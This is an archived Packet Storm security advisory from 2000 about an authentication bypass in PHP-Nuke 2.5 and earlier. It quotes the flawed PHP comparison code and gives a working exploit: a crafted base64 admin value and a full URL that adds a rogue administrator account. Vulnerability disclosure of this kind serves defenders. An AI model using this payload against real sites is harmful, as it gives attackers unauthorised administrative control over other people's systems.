what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP-Nuke.c

PHP-Nuke.c
Posted Aug 21, 2000
Authored by Fabian Clone

A vulnerability in the way PHP-Nuke, a news site administrative tool, authenticates administrative accounts, allows a remote attacker to gain administrative access to the application. Attacker could edit users, articles, topics, banners, assign authors, etc

tags | exploit, remote, php
SHA-256 | eca37faae9a6a2eeba44799294fae819f847c9d8cb2db5b49509a50b9b29c9ac

PHP-Nuke.c

Change Mirror Download
Summary

Security vulnerability in PHP-Nuke, a news site administration package, allows
remote attacker to gain administrative access to the application. PHP-Nuke is
an open source, freely downloaded at:

http://linuxpreview.org/php-nuke.php3?op=english

Versions affected: ALL (current PHP-Nuke 2.5 or lower)

Details

Now let's take a look at how PHP-Nuke authenticates administrative accounts.
In the auth.inc.php3 file line 31:

$admintest = 0;

if(isset($admin)) {
if(!IsSet($mainfile)) { include("mainfile.php3"); }
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";

dbconnect();
$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);

if($pass == $pwd) {
$admintest = 1;
}
}
}

Here some checks are done for the $admin value. Since any variables, either
from cookies or forms (GET/POST) will be automatically made global to the
script by PHP, we may put our own $admin value to url. If $pwd (an element of
that "scrambled" $admin) does not match the value that corresponds to the
fetched row, the false authentication ($admintest = 0) is returned, otherwise
we'll be able to access any function in admin.php3. Sounds normal, until you
continue to read the following exploit.

The Exploit

The theory is simply to make $pass == $pwd. We see, the $pass value returned
from mysql_fetch_row() could be anything, or could be FALSE if there are no
more rows. So how about to make $pwd (string-type) and $pass (logical-type)
equally false? Yep, it satisfies the condition. The expression "if($pass ==
$pwd)" does only compares values, NOT the type. So, setting $pwd = "" (null)
will be EQUAL (though not identical) to the given FALSE value of $pass.

Next is much simpler. You see, putting any string value NOT listed in the
authors database into the $aid will do for us. It gives the TRUE value of
mysql_query() and makes mysql_fetch_row() FALSE. So for example, crafting our
$admin value:

$aid = "blabla"; $pwd = "";
$admin = base64_encode("$aid:$pwd");

will give us "YmxhYmxhOg==". Using this value, we're now able to access all
functions in admin.php3. The following URL will add an account
"godbless:indonesia" into the authors database:

http://site//admin.php3?admin=YmxhYmxhOg%3D%3D&op=AddAuthor&add_aid=godbless&add_name=Godbless&add_pwd=indonesia&add_url=&add_email=fake@mail.me

Looking at the options, administrator can edit users, articles, topics,
banners, assign authors, etc.

Fabian Clone <fabianclone@usa.net>


____________________________________________________________________
Get free email and a permanent address at http://www.amexmail.com/?A=1
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close